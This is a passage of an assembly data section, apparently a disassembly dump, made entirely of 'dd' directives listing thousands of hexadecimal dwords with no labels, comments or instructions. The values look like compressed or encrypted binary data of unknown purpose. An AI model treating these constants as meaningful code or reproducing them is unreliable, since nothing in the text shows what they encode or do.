30E965F5h, 2E082027h dd 8C1D028Ch, 0A8F2BAC5h dd 3C401859h, 1DB98C15h, 1946CF4h, 72594644h, 0C93C232Ah dd 99C7434h, 985A4935h, 9DE6E401h, 3F2A5473h, 43F9835h dd 8254A04h, 4BE1168h, 0CCD309C5h, 8AD58088h, 412245Eh dd 292898E3h, 0F8752144h, 80FEA4BDh, 1A603944h, 0BA29CA8Ch dd 291178EAh, 8C11F707h, 7BD1D0EBh, 1904F5B3h, 0E9226B83h dd 0E98390DBh, 30B09D6Ah, 0DC5B33ADh, 18F02412h, 0B92E2E50h dd 0F254615Ch, 44028EBh, 235AFDC4h, 7F4423BBh, 54250901h dd 7830F245h, 17FCA0C2h, 2DC847B7h, 78A0AF7Bh, 22C73B0Fh dd 0C6D6CC1Dh, 78C81917h, 2E574ECEh, 0B2E231Ch, 0FBC3B349h dd 2545C03Ch, 11C4496h, 99842F41h, 7D557151h, 6A0782E8h dd 0C11805CAh, 76681138h, 527B0434h, 0E2356295h, 3074B228h dd 0D63F4414h, 0AF27FA7Ah, 1D18E2EEh, 80D711DCh, 0D2C775E6h dd 0E4309774h, 97497C79h, 12F232Ch, 0BACC8C1Ch, 882C18FAh dd 8C7E143Dh, 0AB559A03h, 4DC0709h, 0A59002F8h, 770A95Dh dd 983A0F60h, 70E56FA0h, 97E63BA9h, 96EB7900h, 0ECF9C0DBh dd 0C9E75814h, 33122E0h, 60404AFAh, 0A783D903h, 93BCE9B8h dd 57872C01h, 2FAD3BAEh, 0E790202Eh, 4B002841h, 7981F0Ch dd 0E89C73h, 11622F64h, 0A9B302D0h, 68EEE032h, 91C897D9h dd 479C8E90h, 3890DA48h, 606E7708h, 0F1EC2180h, 7B01964Dh dd 2AF3E7AAh, 0C203FA5h, 35521261h, 0C7449C99h, 0E0CB1D4Ah dd 0CFC0C3C8h, 2B1B4CEh, 0AF7CC1BDh, 3448A139h, 0D512ED24h dd 0F5129DBAh, 6D103890h, 2AA9C064h, 0EB1724Eh, 4A3B901h dd 0C10BB8D0h, 40ED0470h, 0C558E9BCh, 0C7651040h, 0B1350F02h dd 8C4466EBh, 1BCC6C00h, 5880942Fh, 4045B18h, 5C63546Ch dd 49110840h, 7B45E9C9h, 529109D4h, 10D47479h, 0C7BD7884h dd 26A24CE3h, 49D430h, 0AF89C85Eh, 7B5EC6Fh, 28B38B02h dd 4C40CC3Bh, 98E50170h, 515A9337h, 0BC1C6486h, 22B86158h dd 1B70367h, 57C8F670h, 77F1AD80h, 0B30D74B2h, 387AD931h dd 95AC006Ah, 665E7B4Eh, 6988FB54h, 9FEF7200h, 0AA138DEh dd 41403CBh, 34F0C9DCh, 0B6D5F001h, 33A59381h, 5710883Ch dd 8EC513D0h, 0FFC79405h, 59B938C0h, 38963071h, 37F2A38h dd 46768CB4h, 34B60026h, 0A03DF1F4h, 72E11AF8h, 7C58CAB3h dd 0B9464F12h, 0DC040013h, 1F00BE69h, 0C76FF1CEh, 8C90B09Fh dd 0C42F00E1h, 269925Dh, 0E002014Ch, 50F57903h, 541C421Bh dd 72465E9Ch, 0B57C270Bh, 5AAE8410h, 0B68090E4h, 9CA09FD9h dd 0E7868E89h, 0CE184800h, 9B4EE43Dh, 0CC40075h, 0C045A96Eh dd 1177047Ah, 0E8BCA195h, 0E0EF8941h, 17A9BC78h, 2184B9Dh dd 0F3E33634h, 0FA716C51h, 8A013618h, 4A7002DDh, 0EC4CAF71h dd 0C22F01DFh, 1BF24E6Eh, 80F049A7h, 24A5B518h, 0FA6FE33Ch dd 0DEF528FFh, 0D44B2AFCh, 2C53E0F0h, 4078D34Ch, 1272C7F7h dd 71114901h, 0F67956FCh, 2560203Ah, 0AE01CC9Eh, 49145A75h dd 1CEC2E81h, 94B50038h, 0A0500EE8h, 0B89371B2h, 0D2853509h dd 0FA4D0C94h, 1C80E3F3h, 4BBB7E0Ah, 0FE02C653h, 71D52D9Fh dd 0E5A74154h, 3E9F08F4h, 29EBD9AEh, 35256C53h, 90123BF4h dd 0DEAC3085h, 36001C7Ch, 27E6BBC7h, 0E87949Fh, 525F42D1h dd 2203C6C1h, 0AF29D015h, 0EA7880B5h, 5E09AE0Eh, 3014876Bh dd 1C67971Dh, 0D97E4801h, 0DBED7282h, 30785FFCh, 0B21764F9h dd 0DC0901BEh, 0DC9D59B8h, 406E4564h, 816FFB9Ch, 0F4CF0ADh dd 5A1A7628h, 51288341h, 7B6242F0h, 27325D02h, 3741B022h dd 6F00DAD3h, 16B50593h, 7D82AEA0h, 3A011AF3h, 0CE179BDh dd 0F8C7149Fh, 0C304C578h, 0B2A545C4h, 3C40C038h, 179EE28h dd 0C4899575h, 0C2BB0A54h, 49AF3060h, 1588249h, 2C740B24h dd 8C725EFEh, 0A4308500h, 0F57BB232h, 0B5A62500h, 2915AC9h dd 54D907FAh, 726E0F9Bh, 9869F188h, 45CA82E4h, 0D02BEE79h dd 0B7FEF828h, 0FA91E817h, 0F88EE484h, 5A51135Ch, 27E01CA0h dd 18E86682h, 0B4006E80h, 8EB8728h, 0B35267Dh, 0D9487EC8h dd 0D244D067h, 4EA5B060h, 0C8D70A17h, 85A46446h, 0C4288588h dd 672560D3h, 0F1D000B0h, 586B5378h, 480F46DFh, 814F50AEh dd 28457C57h, 2A7AA1FBh, 7B13FC28h, 2D14F3B5h, 0CC0E437h dd 8F565946h, 0C2057F28h, 81A249CBh, 0E51064F9h, 228004BDh dd 0E4E29586h, 0DE01DB22h, 97E7A128h, 162E1FF2h, 23FC3A10h dd 0D4CC0029h, 4D1C2A2Bh, 30394A1Fh, 0A0C73880h, 778A81B8h dd 16889A95h, 17F1CECh, 4958CCB4h, 0CFFBE8EBh, 0DF75E905h dd 0A8E663FAh, 0DE1E78E0h, 600106E2h, 75045948h, 0F0886386h dd 44016737h, 2F665334h, 206D1197h, 2E0825D8h, 1400907Ah dd 16FBEED4h, 4A125362h, 0DA640947h, 0B927ACC8h, 61777B00h dd 7DE8A75Bh, 84E74B7Fh, 88748ED0h, 3409C08Fh, 470213D7h dd 5498232Fh, 8584F14Ch, 0FCE45352h, 8CD5BCF8h, 19566A02h dd 74F5B7FEh, 9621849Ch, 0D4E6007Eh, 9A6F4C94h, 39082754h dd 8A647867h, 0BD2B1C60h, 5867EF00h, 0E82239F7h, 0C7FD16CAh dd 8EB213E1h, 0C12EC8D8h, 63813574h, 57120854h, 828829CBh dd 943251FEh, 0DC795A31h, 5306B4Eh, 0CEDADCC1h, 0C35BA840h dd 3F204Ah, 6E1428E1h, 0C7A20DE2h, 8B095739h, 41262145h dd 0F98DE798h, 30A176E2h, 0F0FE73C4h, 1F231400h, 0C8E32D08h dd 5D7F27E7h, 47D81084h, 0C6B409ADh, 0B2BF9904h, 30C2F20Ch dd 2F0027DFh, 76116783h, 7FD3DC3Eh, 0DDF200F9h, 242581CFh dd 7B38B0C6h, 3D9F0960h, 371002D1h, 0F1F4D1C5h, 0A918C2h dd 0E099544Fh, 2B447995h, 685DAE2Fh, 1F596734h, 0E8077Eh dd 4AA6B503h, 80ADD37h, 50FA5431h, 618E3881h, 0A070A699h dd 0A3D4443Fh, 0B592AF0h, 39AF1EB0h, 3000A8D3h, 65F54445h dd 1461485Bh, 16038384h, 40F77428h, 8127BDC5h, 0CA508494h dd 0F0F8D8B8h, 310E1C8Ch, 0B434CF53h, 0B8599F44h, 4DCC047Ch dd 84108277h, 3474E2C1h, 9699207Dh, 0BCB0DA05h, 0E42ECCh dd 0EF7F3235h, 54646C61h, 37DF0B00h, 7B2EB91Dh, 58BC4CEDh dd 0D642401h, 0C9CFDA7Dh, 40A47CBBh, 9807FDF0h, 35615D80h dd 5E65C592h, 0D91B898Ch, 60D3A03Ah, 2D0F4970h, 0E8E477F9h dd 0A73EDA00h, 7C711EF6h, 236B026Ah, 0E581E2D8h, 0E445CC44h dd 0A0A672C9h, 0E0CF964Ch, 450B5440h, 911131B3h, 93F6FA8h dd 44F815C8h, 9178979Fh, 696A808Ah, 9B990C7h, 40E177C5h dd 0A8ED7C02h, 4D42C824h, 0DE1BF2h, 0EE1C3980h, 5E4FEE8h dd 981E2811h, 0F234B244h, 50103026h, 0BE33EC00h, 113527ACh dd 7152127Bh, 0CEF0D19Eh, 3A930041h, 9E49C55h, 649FBE6Eh dd 12808F91h, 0B0D6063Ah, 29A3470Ah, 4A97A84Bh, 57B3CD0h dd 0BA80C48Eh, 0C0020043h, 9A365DBFh, 5A9313DCh, 0C840F0DDh dd 907EFD22h, 0C7E3386Ch, 7BCA7602h, 44BA9B7h, 0A1867FE0h dd 526ED30Bh, 0D904517Dh, 0CF4188Eh, 0D56C6797h, 89091A8h dd 8CC07C64h, 1672FD4Eh, 2134C0E8h, 0C73FF3E7h, 0E06802BFh dd 0F4316E42h, 0D1DE1898h, 0ED245291h, 7D46307Ch, 88A4250h dd 43C785B7h, 401E5E2Ah, 3D093AB8h, 20C4FA87h, 220AFDF3h dd 84C6B548h, 0EB24D310h, 60B464ACh, 2EE42837h, 73681C45h dd 7B282FE0h, 0EBBF1E00h, 29AE928Ah, 4822FFB7h, 2DBE03Eh dd 0CA270AA8h, 0C5B3D301h, 0DB88384Eh, 8D1344C0h, 1FB4EAB2h dd 923D7A85h, 51884FC7h dd 6EC9B41h, 863BE069h, 539F7001h, 65ED5AB7h, 99DC202Bh dd 0E6000A50h, 7D7AD748h, 131EA02Eh, 0A257AB74h, 301FE254h dd 0A200563Fh, 0C271DE37h, 144CFA7h, 68E5DF10h, 0C1D0419Fh dd 21C47CBBh, 5620AE14h, 4007D946h, 0D0DF298Ch, 3496F349h dd 4F542500h, 0AC8D3808h, 8E711Dh, 3FC15029h, 23253CCDh dd 65E7E41Dh, 0E52CC02Fh, 0D4A09F5Dh, 16F82737h, 9ADB0C00h dd 0F1710B43h, 27FEC13h, 7AC04A72h, 8CB7CBE6h, 7C7E2180h dd 64A5E9h, 0D99C0D14h, 0FFFE7D47h, 1491B15Fh, 0C038D321h dd 49C30B70h, 0A0702251h, 0BCA0E04Ch, 9058C74h, 53CBAD73h dd 0B56B94A4h, 5276C890h, 61C3E200h, 49F264D1h, 0EE483021h dd 0B7AFF980h, 0B4801526h, 1892400h, 3BB413h, 3FB50492h dd 6F1A063Dh, 1E31AF09h, 0FA88A0DCh, 0B8D3EEF1h, 9C8C0284h dd 1D869103h, 28814089h, 0DDE7FEF2h, 1389BEDDh, 0F8E07D18h dd 12548076h, 680A4E2Fh, 95025EE8h, 10376406h, 38A6B611h dd 0E2130858h, 9E0E37Ch, 608F0253h, 2431B990h, 84C09F75h dd 1DE3F1Ah, 7B8BBF91h, 0D4E8D038h, 240C058Ch, 88D9CBA5h dd 4900ADA4h, 0ECC49DF2h, 0B8EFC168h, 0DBAB2068h, 0CE65E811h dd 48C4DF00h, 0E25C1318h, 60BC5558h, 5B2A4CCEh, 78119DFFh dd 0CC942EBAh, 4BACE8F9h, 22119200h, 426239EEh, 0B4445051h dd 0ED05EF59h, 89B890h, 0FBB72127h, 3A016DE6h, 0C48CF525h dd 11F844A0h, 2D2FDF01h, 0B8DD02FAh, 0C823E189h, 0C311D4D1h dd 0CCB84A77h, 3A024884h, 7F2A4B4Eh, 138828CBh, 0A9F831BBh dd 89839FAh, 45C7EF24h, 0F29CC89Eh, 24C9D724h, 5EC85E52h dd 4B00C346h, 0D7BCB313h, 0D33039FEh, 0C88B1D0h, 437A004Ah dd 0C14F5D69h, 12030ACBh, 0C8A0C4A1h, 7FFC021h, 0C44497F3h dd 76A78612h, 0C4CA6005h, 0B281B0ECh, 24C159B8h, 4904ED68h dd 5F73ABB3h, 650080F9h, 5EDD2303h, 9A39D1A5h, 5DA69DA2h dd 4C541480h, 794618E8h, 0A285F793h, 1A79482Eh, 1BD76091h dd 0F77391CCh, 0ADD28C40h, 0CDC8A38h, 0B6173D4h, 0CC9FE44h dd 0D80EB0C3h, 0B4EE8293h, 4622042Ch, 34B8D241h, 9C505125h dd 0D9335F30h, 3C554890h, 0E1D9F3Ch, 0D067564Dh, 0C5EF9D24h dd 11BC5400h, 0A110ACD3h, 0A2DF009Bh, 9C96A620h, 7401024Bh dd 7BE8C90Bh, 2E3BD9B5h, 27323FCh, 5AFDF571h, 0FCFD1C43h dd 7D398410h, 0F6DC2300h, 6C172F4Ah, 6CA209A7h, 46277210h dd 2CE24AF4h, 8730D8F2h, 0AA8A00A6h, 0A5DCC755h, 69305A80h dd 7C8C8073h, 49493B9h, 0C4768A28h, 0E840AA98h, 80BA481Ch dd 49CB0BCCh, 88DB81DDh, 0B4DCD0h, 4E94AFB7h, 766EB275h dd 7247C988h, 0B0D6000Dh, 8E617340h, 17005A87h, 8C4D8D7h dd 4A8A520Ch, 0A2B0F37Dh, 65CB30D3h, 0AB582095h, 0E8E832FDh dd 46210B16h, 9420EB49h, 0AE86BCE6h, 4027F12Dh, 0BA770150h dd 0CCD12730h, 381A34A2h, 0F8C12E06h, 0A4711F02h, 4211305Dh dd 99017CD6h, 0F6CDDFC0h, 0B43C7881h, 28F95289h, 37188EF1h dd 12895F13h, 0DA0DF40Fh, 4AD10358h, 9D290BF4h, 0D479CE06h dd 0B041540Ch, 6C34445Dh, 792F4479h, 0A9600096h, 1C6B694h dd 3654100Bh, 28CEA68Fh, 8CD9EC28h, 43E9B300h, 7FB6CD0Ah dd 0D47004E6h, 0C3238A1Fh, 0EB87D58h, 6309FFDFh, 5182CC46h dd 182779FCh, 1F4D04E0h, 0C17813C8h, 701B8940h, 0C1004CDCh dd 6CE5DF1Eh, 612F0AEh, 0FFC81DD1h, 8104417Ch, 389E995Ah dd 8E0C35BEh, 0C18E888Ch, 0E406A131h, 716FE65h, 0CCA0A5B6h dd 4D538861h, 0E4B60A7Eh, 9B362385h, 0A06B90C2h, 8DA69FCCh dd 5739CCC6h, 2F14DE91h, 0CAF094A2h, 0F32590B8h, 0AA177874h dd 9C39B60Ch, 2FCCF8A2h, 48E5709h, 0BEC57F44h, 0DA23EC3Bh dd 0B89B1C00h, 1324BE0Fh, 8CD8EAF8h, 12E99F34h, 0AF5854B8h dd 0F4A18C0Dh, 9A209802h, 0A45020D3h, 834ADAB0h, 20AF3CD2h dd 383E5946h, 19DB4B4h, 935EE148h, 3C640422h, 0B7FA026Ah dd 0E51B07DEh, 52AC425Bh, 4480D357h, 303E22DDh, 10AF491Eh dd 0BB18F180h, 2D547AECh, 200E9B0Ah, 5FE5A161h, 0BC302C86h dd 781C8CD5h, 0A70BB743h, 0C507081h, 2E9E42C6h, 49D85C9h dd 508C22ECh, 0D59C400Dh, 0C0887B5Bh, 4E430009h, 9794BB2Ah dd 750093BAh, 0F3E7F8Fh, 4B1601B3h, 18F0906Eh, 320028ADh dd 0FE53CEC6h, 0BD487335h, 2088ACC0h, 440D6C12h, 38D3F805h dd 0E824F8F8h, 0D2465E00h, 4E161701h, 32A5DBFAh, 8094E9Ch dd 7C18D4F5h, 7ED846h, 0D125D51h, 0D31E4AF8h, 0CB21C960h dd 834447h, 96F0DBAAh, 15D656B2h, 2402E45Fh, 0FC324AA6h dd 0BB540414h, 26148202h, 0DD51B920h, 0C4C9D7Ch, 7DB7FD09h dd 0C1C427AEh, 2A4D0528h, 6BCE807h, 8F4681B9h, 0FEC82638h dd 49B34128h, 0D8002A25h, 8FB94798h, 0EF2A164Ch, 89D8FCABh dd 828413ECh, 0C2462504h, 0B60230A8h, 37C060F1h, 0DFAE0035h dd 0FE4E9E28h, 200BACEh, 7E1BB3A9h, 4A2DFA74h, 7490F318h dd 2042DF3Fh, 31DE0F29h, 0F037E31Ch, 8B14ED24h, 0C23CF3C7h dd 0E58F9A51h, 0B54909E4h, 9EC99C03h, 5A391002h, 0C2189C03h dd 43005C14h, 0BEB017B9h, 9B24BD70h, 0AA00AC09h, 3857E0F8h dd 0A85198B3h, 1DCF6160h, 652D51BAh, 0A799068h, 8CCD5286h dd 58DFFE11h, 3B35C0D8h, 430448h, 2B293853h, 118BC834h dd 151605FAh, 0FCA25ED7h, 8FF90177h, 0D0B29E6Eh, 25B873C4h dd 0C44065F3h, 1AB067EFh, 6951C4AAh, 3880D111h, 675D806Ch dd 0D6823512h, 59F210C2h, 18FA7104h, 4E267079h, 8884B26Ah dd 0F9467EF2h, 0DD45781Fh, 4C508032h, 7F3D31C5h, 0C647C283h dd 20979D48h, 0E281D491h, 7CE634A3h, 5845C0CCh, 1DEB2D77h dd 1965C5B4h, 0C1C71860h, 0F261807Dh, 74504624h, 6C0309CCh dd 0C741207h, 4674342Ch, 0F14102D7h, 0C25B1FFFh, 8CA55D0Ch dd 492C426Bh, 54796C99h, 465E202Eh, 0D24C00DBh, 91C4E3F5h dd 0B60100CBh, 72EF1D1Eh, 7C2805F3h, 7F2E28FEh, 2F3B448Ah dd 11289F6Bh, 0B70780BEh, 3B2547A2h, 7601B3EAh, 8334CC04h dd 5C298EC6h, 0D49565E8h, 0E1100CA9h, 10A2D38Eh, 0AE302CB2h dd 0C8811399h, 336C20E7h, 0FBFD32h, 12942FDFh, 0AC65530Dh dd 0D112CB80h, 0ECED07D4h, 0D2E1A0B1h, 130562E9h, 1FF9C6E4h dd 0F8F8C494h, 921A2780h, 40B024DDh, 9FA90CA3h, 0E0D02EBBh dd 4BCAF38h, 6754DC4Eh, 788CC7F2h, 88AC3C12h, 0A864C80h dd 63002AA0h, 451CDB46h, 2946DA1h, 0DA30C704h, 30560318h dd 81C60C4Fh, 8CD00096h, 6C530916h, 0F5013918h, 43DDD35h dd 2E2B57CFh, 232354h, 0E2725D67h, 0C898D7D1h, 222AFA27h dd 0CCD294h, 4101ED39h, 8CF30C5Eh, 23BC805Ch, 0F7823E8Ch dd 0F119A681h, 2B7C6E1Eh, 0C5506097h, 4D3D4Ch, 3372EEE9h dd 2754DB8Eh, 0E5EA4F00h, 0C634E674h, 0C8E0BDC4h, 4182D277h dd 842E7EDCh, 8314F8ECh, 0A8A05D9Dh, 1012C06h, 93C90A24h dd 2F09D0AEh, 11414822h, 2C7B21FDh, 52C6045Ch, 0CCAC27BAh dd 28B276C8h, 66604809h, 9C4B213h, 0DE5FF1ADh, 0BC4498CAh dd 10A0355Ch, 182DD1C9h, 0A4023898h, 0A0B7982Ch, 7C936D12h dd 0B84FE8C2h, 2CA1FA1h, 0F70445B1h, 1E508086h, 5E0E450Dh dd 80372425h, 0EC95C818h, 0E7DECB30h, 20636886h, 14D0409Fh dd 0A12A1852h, 49AF9812h, 1E92C20h, 80612B1Dh, 0F474A019h dd 7A0036C0h, 0C9D20E44h dd 16E7FD1Ch, 0C8D055FFh, 4910B950h, 0DC1267C5h, 13C4A23Dh dd 280E85C8h, 984BB055h, 9B54EE0h, 86D8721Ch, 3AD2341Ch dd 6568B430h, 4CC64E12h, 0DE9FCCE8h, 2C9867F2h, 6E2D494Ah dd 72CCC117h, 3B361084h, 64B656C8h, 54AC470Bh, 812C8866h dd 98A22C3Eh, 0EA4AC404h, 34FBC87Bh, 7030FA8Ch, 8062EA31h dd 0C1C07B2Eh, 5FC5CAC0h, 8220A582h, 7FF5AA17h, 9AF65901h dd 0FA0FE207h, 0B00FB858h, 4B362185h, 287C664Bh, 2FC0C7F3h dd 1030C931h, 12856259h, 0F2B4F2C1h, 71B730D9h, 0B025BC00h dd 0AFFDEEC6h, 72B1C4B9h, 2330A523h, 97D6005Ch, 0D550C743h dd 2E2F006Ch, 9F5CCDF8h, 260FA36Ah, 8060390Ch, 0B202F3E9h dd 736F8B8h, 5414EFB4h, 60F0FCEAh, 3B3F8038h, 19FF03E6h dd 86916Eh, 97AC6821h, 0E6EF496Fh, 0EAED83Eh, 820EF457h dd 0F237F121h, 68730620h, 0FC079FCDh, 6F0FFE0Fh, 780F93E9h dd 26D4603Ch, 0E8549647h, 381800E4h, 0C9C17ACEh, 0E897D366h dd 741B4E0h, 76B1AF34h, 0C97E61AAh, 0E8982CD2h, 42048CD7h dd 244F8533h, 7720D080h, 165EF048h, 0B8CBDC67h, 1584AE18h dd 9E34812Ch, 0DF08895Bh, 3D4883DBh, 0A610112Fh, 8C931DDh dd 0C3FA1D0h, 3E08BD4Ch, 2618B162h, 0DACF0369h, 2D611018h dd 0C64E3040h, 2072A008h, 20CA2920h, 343156C3h, 0C69510ABh dd 0BFF6088Ch, 31C6C328h, 0FC088CCFh, 0E320C6B2h, 0C832382Eh dd 37D8986h, 18102AE7h, 65109471h, 0C8BF1884h, 0CC04BE38h dd 2659EE08h, 831739C6h, 0D84C3108h, 885D8B20h, 88AF248h dd 5E0CC00Ch, 0F7350881h, 31B428A4h, 0E2DC0828h, 2008E206h dd 2820BAB5h, 0C4539801h, 6AE8F28h, 20102BC9h, 6531D6BDh dd 0AD7708A9h, 8CA47A01h, 875FC68h, 18E06541h, 658C46BBh dd 1E2010D2h, 0E1BD2087h, 309DAD20h, 6D087683h, 5DF8D0FEh dd 0DE705463h, 0B40810FBh, 80FA2A3Ah, 1036F631h, 7C016C48h dd 0B59453D9h, 0F00B082Ah, 28658F31h, 0F001A174h, 0E2088CC1h dd 405D20CDh, 7F40C447h, 0E7C8A876h, 24DA81A2h, 38620428h dd 245EC08h, 0E1035F47h, 624818E4h, 8EA23088h, 88C808CAh dd 4C4AC092h, 238ABCA6h, 3D98F846h, 80290508h, 28C6A79Bh dd 313892B3h, 0F4087E5Bh, 0A208C3Ch, 0CE53107Ah, 18B9A3C9h dd 0BFF98873h, 60F30CA5h, 0BE635918h, 10AFD228h, 10626B18h dd 37108419h, 511B3203h, 9AF0A721h, 0A1FF29ECh, 0B18CE5C4h dd 3F30BCF8h, 0ABB58040h, 9C91FCD4h, 99014A78h, 0F8208C6Dh dd 0A803104Bh, 0CCCB1E8Ch, 1A19628h, 0B5085164h, 0D7590091h dd 0CC7F208Ch, 0F0A81208h, 8CC4CDAh, 5455C90Eh, 817CB0A0h dd 96AC24FDh, 0C42B6E40h, 1C4E9939h, 0BC4C61D2h, 0C9C740C5h dd 502295C1h, 0B4026FC2h, 633A03C9h, 0BC44302Ah, 18001949h dd 4F20A62Ch, 3F30C473h, 0F8340ADEh, 0BE99498h, 784780E5h dd 32AB10C6h, 3CA24940h, 866EA18h, 18C4486Bh, 510A7F8Ah dd 8F638DE4h, 8910F310h, 0E1856A1h, 310F1879h, 802AA880h dd 788086CBh, 30A08037h, 0C4FC0580h, 9551408h, 22DC23AAh dd 645FFA5Bh, 7DE52CA4h, 4F441659h, 8003BDECh, 100045B4h dd 1AAB3CAFh, 5CFD961h, 3695A44Eh, 73AC901Fh, 43007B62h dd 0C7FAA748h, 0FCCD28Eh, 5E831C47h, 94688267h, 1E6CF935h dd 0CB0026DBh, 0F291BC56h, 0D31B0C8Fh, 7E504AC2h, 5D99F4D8h dd 0A0FB6004h, 0E7A9CAB9h, 9002BE03h, 0C038F036h, 5B7AE64h dd 88DAA10Bh, 58D4A9ABh, 4C0E1284h, 91819F1Eh, 53FF81DBh dd 181990BCh, 0DC0510D7h, 0F4B848BEh, 71800F00h, 0A9AAB363h dd 0B4400029h, 0C202AB0Dh, 902A0A3h, 0B95EAEBBh, 0B24480AAh dd 0E54AABh, 3FAF99FBh, 977B89E8h, 41F8CA00h, 0ED5DC1ECh dd 0FF8DF1Ch, 3806FE87h, 0FB2510BAh, 0F050FAC2h, 0BB97C6Ch dd 0EADAB6A9h, 4C3F9850h, 0E27CFCCCh, 0C15DE18h, 60FDD338h dd 98252004h, 5B135E7Bh, 0CCB1CB6Dh, 0AECC43Fh, 3C84472Ch dd 433BEFF8h, 4C52D318h, 0F4544120h, 210BC5Bh, 31D5DFCh dd 0CDA0BB00h, 3CC000E5h, 7E858CDDh, 9D007A73h, 7165EB33h dd 0A482FC48h, 966D0064h, 0E5C4FEEDh, 2053A9Dh, 717E947Ah dd 8EFDE820h, 4F6E18E3h, 59B328A7h, 1EEB2307h, 15C31C97h dd 0D74102F4h, 59DEC3ABh, 973E0840h, 3E6CB3Eh, 8EF19DCFh dd 1A6AE151h, 3CB1EEF4h, 721E6753h, 743C09Bh, 23E3CFE6h dd 85FDB938h, 0C502CA66h, 92DB5400h, 0EED9AE5Dh, 0A9B33D91h dd 0CEE35E09h, 930A607Eh, 970088C6h, 52E725D4h, 3CE1C478h dd 0AB500ADh, 1BCE5DBh, 0CE87FDFAh, 415AA0DAh, 0FB6E12ACh dd 9500F0D6h, 0CDBA73D3h, 21CEEh, 7F806454h, 0EBA4FB6Ch dd 0E3C48400h, 0D51E6D46h, 829D0063h, 5D935470h, 0E984E10h dd 0B8FE4D37h, 1FBB467h, 0BCE66A3Ch, 497EE439h, 0DE3968FDh dd 35000048h, 2310A2FEh, 62003FF5h, 0F4C0E638h, 0FC14C94Ah dd 725E12B4h, 1C7C015Bh, 0D082D446h, 3F1C4FCCh, 0C8F0DCD3h dd 1E8B107Ch, 80FD249Fh, 0AA90332h, 949EAAD3h, 5E352A07h dd 705ED24Fh, 0BBE5FDC7h, 0B0D0A30Bh, 0CB8BF8D1h, 359728A9h dd 80882FFCh, 0D9D804C0h, 0E0504AF0h, 148D0A8h, 0B9B800B4h dd 0E8374D68h, 30D44947h, 0B92700DEh, 0BEE5A902h, 30780A4h dd 0AB6A6717h, 0D2DAD040h, 42249A55h, 19B73E7Fh, 3630F5B8h dd 0C5020469h, 0D983E33Ch, 953CB444h, 5E41807Dh, 6C987A11h dd 240F1FF0h, 1A8E0009h, 0C9E2E596h, 85795D12h, 5B71E445h dd 0AE3ECFC1h, 47DDFF0h, 0FD0BFF86h, 1B1180CAh, 811DEAA2h dd 2381677Eh, 74660641h, 0C0FCCEC8h, 5D9B4D88h, 0B7006946h dd 1D9E8F09h, 65BE3Ah, 37DA9768h, 0C9023990h, 7CCC1802h dd 0A0E6E26Eh, 0A91C9A9Ch, 6BDA18CFh, 0D82BD8A2h, 0B357AB0h dd 0C06110DCh, 0A043B4B2h, 4062825Dh, 707A9300h, 2025636Eh dd 6CA0149Ah, 48501563h, 0C30B01C0h, 83C1E6C9h, 9A31DCAh dd 0E386FD78h, 3CE7B0A1h, 0B0C9A488h, 38528013h, 70FB604Dh dd 6B26347Dh, 86482800h, 807E28E0h, 3B42550h, 90A688C8h dd 40BBC9EBh, 0DCE385CCh, 485DAA09h, 505809ACh, 9CD3005Ch dd 0EC56C61h, 5D03E31Dh, 0BCFDD5EAh, 0F0200147h, 3C5E6645h dd 5A58843Fh, 1085369Bh, 40AD7C5Eh, 2C65E318h, 991493CDh dd 6089C873h, 4E6A59BEh, 0FB89C830h, 117898BFh, 0D32780B7h dd 88645831h, 0BC314017h, 0C3A0F030h, 7D428550h, 89E78CC1h dd 0AF8B8E38h, 0CC608DCh, 8AE02596h, 30F11BF8h, 6B306600h dd 431D40EBh, 0E13B2672h, 4870080h, 91FE4286h, 8877E618h dd 484E1611h, 6804405Ch, 818FF0D5h, 8282E048h, 4E9FEBF9h dd 80DC6597h, 90CD318Fh, 0AA032146h, 0B350A096h, 19893E8Eh dd 4A20232Ch, 876E06F4h, 6100100Eh, 8DB8D6B0h, 98EE7D8Fh dd 6E1A3F3Eh, 0B8CFB28h, 2A3BDAB1h, 569AEC10h, 0D898CA71h dd 5AF6619h, 0B8403E80h, 0CDD3B25h, 873065F0h, 0E498FD18h dd 0B56ECE0Dh, 0D1F97044h, 58890DC8h, 0C789E882h, 0E0A63807h dd 7BC5707Eh, 71541402h, 4880DA66h, 3AE3394Ch, 36B36E11h dd 0C0F2CD48h, 0A1AFD8A2h, 5BB5461h, 0DC013409h, 0A4480274h dd 10617C41h, 0DC0021EAh, 1249DE5Ah, 2DC43E20h, 0B2B05A09h dd 2CD31620h, 0FEB0414Fh, 80AD5FDEh, 0A9DAB320h, 17EEF17h dd 999A018Bh, 2384076Eh, 17B8448Ch, 54D3708Ch, 9189A07Ah dd 0A0FB1994h, 0DE804254h dd 806FFE10h, 13092D3Bh, 1645FBFh, 0D4E70DB3h, 6E146EF0h dd 2649405Dh, 3EBFC882h, 847D9702h, 10804628h, 0F86D5AF2h dd 0D5090C8h, 0BC745FE4h, 71B43008h, 0B5137914h, 0ED1909B2h dd 0FD48A6A2h, 58009D98h, 4DF70F99h, 0C06E1D0Ch, 0E56815h dd 0D61747C1h, 0E69BFE59h, 1C0432EBh, 4D6DC46h, 7E1F0907h dd 7CA08717h, 30E5C278h, 7E216D4h, 0C5169CA6h, 477B2B8h dd 4A2F0E22h, 37B09168h, 0A862C194h, 14D8699Eh, 8B2C9CB0h dd 80236Ch, 80C31E0Eh, 0BD00FE4Fh, 8E286602h, 0FF86B1DDh dd 3F353EF0h, 0A1806D2Fh, 0CA396DCh, 2009A17h, 9DE00A51h dd 0A0A9766Eh, 0FD2B88h, 7B71E744h, 0D5E6049Ch, 251C0E74h dd 0BEC0AA46h, 6EC623E9h, 0D5F0E37h, 0D73D1CCFh, 9D844031h dd 5B461869h, 24A560A2h, 4E9C09E7h, 9CC09C0Eh, 3CE6DDBh dd 1D82600h, 2AD34990h, 121C904Bh, 2691266h, 5AC1ED0Ch dd 0E32EC4E8h, 0F12C6890h, 6D418837h, 0B4242D57h, 6E163ABCh dd 0E501F4C9h, 34FB8077h, 1474F8EDh, 594530C0h, 0BE2BCF1h dd 0EBA5DAB8h, 88CC54A5h, 6438951Ch, 0D5E50018h, 0E49AA3B9h dd 43D3165h, 0EF4DA540h, 2E4D141h, 3CE87DB0h, 0D4AB1CD3h dd 35DDDEE0h, 293B1600h, 0D7DB253Ah, 4CE5717Eh, 5218943Ch dd 0F4EC50E6h, 98703554h, 1CD00995h, 2B52E64h, 62AD42FCh dd 24A21849h, 7E00CB88h, 3B7F49AAh, 906C8B46h, 0B6FD00D0h dd 5E3616EDh, 0A0B0319Eh, 0F0DDE53Bh, 60C188B2h, 0DEC6E14h dd 0E2E3B425h, 0C2764236h, 0B6E0900Ch, 